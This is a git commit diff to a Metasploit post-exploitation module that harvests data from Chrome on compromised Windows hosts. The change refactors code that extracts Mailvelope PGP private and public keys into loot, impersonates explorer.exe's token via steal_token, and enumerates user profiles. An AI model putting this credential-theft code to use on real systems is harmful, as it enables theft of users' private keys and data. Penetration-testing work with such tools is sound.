Simplify and clean up some

I'd really love to make this work on Linux as well, since it's really
just a file grabber/parser. Unfortunately, the Post API for enumerating
users and homedirs isn't great for cross-platform stuff like this.

A few small changes, all verified on Windows 7:

* Reuse the key storing code instead of copy-paste with minor changes

* Use binary mode when opening the stored prefs

* Don't bother checking for incognito since we're using `steal_token`
  anyway

* Check for existence of directories instead of guessing based on OS
  match
unstable
James Lee 2013-05-10 16:58:35 -05:00
parent 84ff72eb92
commit 55fc1458de
1 changed files with 38 additions and 46 deletions

View File

@ -29,7 +29,7 @@ class Metasploit3 < Msf::Post
[ [
'Sven Taute', #Original (Meterpreter script) 'Sven Taute', #Original (Meterpreter script)
'sinn3r', #Metasploit post module 'sinn3r', #Metasploit post module
'Kx499', #x64 support 'Kx499', #x64 support
'mubix' #Parse extensions 'mubix' #Parse extensions
] ]
)) ))
@ -44,6 +44,22 @@ class Metasploit3 < Msf::Post
return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n") return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n")
end end
def extension_mailvelope_store_key(name, value)
return unless name =~ /(private|public)keys/i
priv_or_pub = $1
keys = value.split(",")
print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
keys.each do |key|
key_data = extension_mailvelope_parse_key(key)
vprint_good(key_data)
path = store_loot(
"chrome.mailvelope.#{priv_or_pub}", "text/plain", session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key")
print_status("==> Saving #{priv_or_pub} key to: #{path}")
end
end
def extension_mailvelope(username, extname) def extension_mailvelope(username, extname)
chrome_path = @profiles_path + "\\" + username + @data_path chrome_path = @profiles_path + "\\" + username + @data_path
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage" maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
@ -60,35 +76,15 @@ class Metasploit3 < Msf::Post
columns, *rows = maildb.execute2("select * from ItemTable;") columns, *rows = maildb.execute2("select * from ItemTable;")
maildb.close maildb.close
rows.each do |row| rows.each do |name, value|
res = Hash[*columns.zip(row).flatten] extension_mailvelope_store_key(name, value)
if res["key"] =~ /privatekeys/i
keys = res["value"].split(",")
print_good("==> Found #{keys.size} private key(s)!")
keys.each do |key|
privkey = extension_mailvelope_parse_key(key)
vprint_good(privkey)
path = store_loot("chrome.mailvelope.privkey", "text/plain", session, privkey, "privkey.key", "Mailvelope PGP Private Key")
print_status("==> Saving private key to: #{path}")
end
end
if res["key"] =~ /publickeys/i
keys = res["value"].split(",")
print_good("==> Found #{keys.size} public key(s)!")
keys.each do |key|
pubkey = extension_mailvelope_parse_key(key)
vprint_good(pubkey)
path = store_loot("chrome.mailvelope.pubkey", "text/plain", session, pubkey, "pubkey.key", "Mailvelope PGP Public Key")
print_status("==> Saving public key to: #{path}")
end
end
end end
end end
def parse_prefs(username, filepath) def parse_prefs(username, filepath)
f = File.open(filepath, 'r') f = File.open(filepath, 'rb')
until f.eof until f.eof
prefs = f.read prefs = f.read
end end
@ -221,17 +217,12 @@ class Metasploit3 < Msf::Post
current_pid = session.sys.process.open.pid current_pid = session.sys.process.open.pid
target_pid = session.sys.process["explorer.exe"] target_pid = session.sys.process["explorer.exe"]
return if target_pid == current_pid return if target_pid == current_pid
if target_pid.to_s.empty?
if not session.incognito print_warning("No explorer.exe process to impersonate.")
session.core.use("incognito") return
if not session.incognito
print_error("Unable to load incognito")
return false
end
end end
print_status("Impersonating token: #{target_pid.to_s}") print_status("Impersonating token: #{target_pid}")
begin begin
session.sys.config.steal_token(target_pid) session.sys.config.steal_token(target_pid)
return true return true
@ -286,7 +277,6 @@ class Metasploit3 < Msf::Post
] ]
@old_pid = nil @old_pid = nil
@host_info = session.sys.config.sysinfo
migrate_success = false migrate_success = false
# If we can impersonate a token, we use that first. # If we can impersonate a token, we use that first.
@ -299,37 +289,39 @@ class Metasploit3 < Msf::Post
host = session.session_host host = session.session_host
#Get Google Chrome user data path #Get Google Chrome user data path
sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%") sysdrive = expand_path("%SYSTEMDRIVE%").strip
os = @host_info['OS'] if directory?("#{sysdrive}\\Users")
if os =~ /(Windows 7|2008|Vista)/ @profiles_path = "#{sysdrive}/Users"
@profiles_path = sysdrive + "\\Users\\"
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default" @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
elsif os =~ /(2000|NET|XP)/ elsif directory?("#{sysdrive}\\Documents and Settings")
@profiles_path = sysdrive + "\\Documents and Settings\\" @profiles_path = "#{sysdrive}/Documents and Settings"
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default" @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
end end
#Get user(s) #Get user(s)
usernames = [] usernames = []
uid = session.sys.config.getuid
if is_system? if is_system?
print_status("Running as SYSTEM, extracting user list...") print_status("Running as SYSTEM, extracting user list...")
print_error("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")") print_warning("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
session.fs.dir.foreach(@profiles_path) do |u| session.fs.dir.foreach(@profiles_path) do |u|
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ not_actually_users = [
".", "..", "All Users", "Default", "Default User", "Public", "desktop.ini",
"LocalService", "NetworkService"
]
usernames << u unless not_actually_users.include?(u)
end end
print_status "Users found: #{usernames.join(", ")}" print_status "Users found: #{usernames.join(", ")}"
else else
uid = session.sys.config.getuid
print_status "Running as user '#{uid}'..." print_status "Running as user '#{uid}'..."
usernames << session.fs.file.expand_path("%USERNAME%") usernames << expand_path("%USERNAME%").strip
end end
has_sqlite3 = true has_sqlite3 = true
begin begin
require 'sqlite3' require 'sqlite3'
rescue LoadError rescue LoadError
print_error("SQLite3 is not available, and we are not able to parse the database.") print_warning("SQLite3 is not available, and we are not able to parse the database.")
has_sqlite3 = false has_sqlite3 = false
end end